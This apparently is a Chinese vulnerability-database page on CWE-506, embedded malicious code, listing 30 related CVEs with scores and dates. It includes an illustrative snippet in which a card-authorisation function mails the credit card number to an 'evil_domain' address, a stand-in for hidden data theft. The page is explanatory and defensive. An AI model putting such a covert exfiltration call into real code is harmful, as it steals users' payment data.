CWE-506 内嵌的恶意代码 类弱点 97 条 CVE 漏洞汇总，含 AI 中文分析。
CWE-506指嵌入式恶意代码，属于软件内部植入的隐蔽后门或逻辑炸弹。攻击者通常利用开发者故意插入的代码，在特定条件触发时窃取数据或破坏系统，从而绕过正常安全机制。开发者应通过严格的代码审查、静态分析工具检测异常逻辑，并实施最小权限原则，确保代码来源可信且无未授权的后门植入，以从根本上杜绝此类内部威胁。
boolean authorizeCard(String ccn) { // Authorize credit card. ... mailCardNumber(ccn, "evil_developer@evil_domain.com"); }| CVE ID | 标题 | CVSS | 风险等级 | Published |
|---|---|---|---|---|
| CVE-2026-77651 | arrayref 0.3.10 依赖注入致Rust项目代码执行 — arrayref | 9.8 | Critical | 2026-08-21 |
| CVE-2026-77650 | Rust append-only-vec 0.1.9依赖注入致远程代码执行 — append-only-vec | 9.8 | Critical | 2026-08-21 |
| CVE-2026-77649 | Internment crate 0.8.7 Rust远程代码执行漏洞 — internment | 9.8 | Critical | 2026-08-21 |
| CVE-2026-73532 | Fluent Forms Pro 6.2.7 嵌入恶意代码漏洞 — Fluent Forms Pro | 9.8 | Critical | 2026-08-13 |
| CVE-2026-73533 | Ninja Tables Pro 5.2.11 嵌入恶意代码漏洞 — Ninja Tables Pro | 9.8 | Critical | 2026-08-13 |
| CVE-2026-48161 | Daishi Kato react18-use 处理逻辑错误漏洞 — react18-use | 9.3 | Critical | 2026-08-10 |
| CVE-2026-48160 | dai-shi React Tracked 处理逻辑错误漏洞 — react-tracked | 9.3 | Critical | 2026-08-10 |
| CVE-2026-48159 | Daishi Kato use-reducer-async 处理逻辑错误漏洞 — use-reducer-async | 9.3 | Critical | 2026-08-10 |
| CVE-2026-48158 | Daishi Kato use-context-selector 处理逻辑错误漏洞 — use-context-selector | 9.3 | Critical | 2026-08-10 |
| CVE-2026-66747 | Zbtlink cpe2801 firmware 处理逻辑错误漏洞 — CPE2801 Firmware | 9.8 | Critical | 2026-08-05 |
| CVE-2026-67595 | webreinvent vaahcms 处理逻辑错误漏洞 — vaahcms | 8.1 | High | 2026-07-29 |
| CVE-2026-18072 | WordPress advanced-responsive-video-embedder 处理逻辑错误漏洞 — Advanced Responsive Video Embedder for Rumble, Odysee, YouTube, Vimeo, Kick … | 9.8 | Critical | 2026-07-29 |
| CVE-2026-46412 | BeProduct @beproduct/nestjs-auth 处理逻辑错误漏洞 — beproduct-org-nestjs-auth | 10.0 | Critical | 2026-07-20 |
| CVE-2026-46421 | SAP Cloud Application Programming Model @cap-js/db-service 处理逻辑错误漏洞 — @cap-js/sqlite | - | - | 2026-07-15 |
| CVE-2026-45758 | Guardrails 安全漏洞 — guardrails | 9.6 | Critical | 2026-06-05 |
| CVE-2026-48027 | Nx Console 安全漏洞 — nx-console | 9.3 | Critical | 2026-05-27 |
| CVE-2026-8398 | Disc Soft DAEMON Tools Lite 安全漏洞 — DAEMON Tools Lite | 9.8 | Critical | 2026-05-15 |
| CVE-2026-44484 | PyTorch Lightning 安全漏洞 — pytorch-lightning | - | - | 2026-05-14 |
| CVE-2026-45321 | TanStack Query 安全漏洞 — arktype-adapter | 9.6 | Critical | 2026-05-12 |
| CVE-2026-6443 | WordPress plugin Accordion and Accordion Slider 安全漏洞 — Accordion and Accordion Slider | 9.8 | Critical | 2026-04-17 |
| CVE-2026-34424 | WordPress plugin Smart Slider 3 Pro 安全漏洞 — Smart Slider 3 Pro for WordPress | 9.8 | Critical | 2026-04-09 |
| CVE-2026-33634 | Aqua Security多款产品 安全漏洞 — setup-trivy | 7.4 | - | 2026-03-23 |
| CVE-2026-31976 | xygeni-action 安全漏洞 — xygeni-action | 8.8AI | High AI | 2026-03-11 |
| CVE-2026-28353 | Trivy Action 安全漏洞 — trivy-vscode-extension | 5.5 | - | 2026-03-05 |
| CVE-2024-10938 | WordPress plugin OVRI Payment 安全漏洞 — OVRI Payment | 6.5 | Medium | 2026-02-27 |
| CVE-2025-59374 | ASUS Live Update 安全漏洞 — live update | 8.1AI | High AI | 2025-12-17 |
| CVE-2018-25117 | Vesta Control Panel 安全漏洞 — Control Panel (CP) | 8.8AI | High AI | 2025-10-15 |
| CVE-2017-20203 | NetSarang多款产品 安全漏洞 — Xmanager Enterprise | 10.0AI | Critical AI | 2025-10-09 |
| CVE-2017-20202 | Web Developer for Chrome 安全漏洞 — Web Developer for Chrome | 8.8AI | High AI | 2025-10-08 |
| CVE-2017-20201 | CCleaner和CCleaner Cloud 安全漏洞 — CCleaner | 9.8AI | Critical AI | 2025-10-08 |
CWE-506（内嵌的恶意代码） 是常见的弱点类别，本平台收录该类弱点关联的 97 条 CVE 漏洞。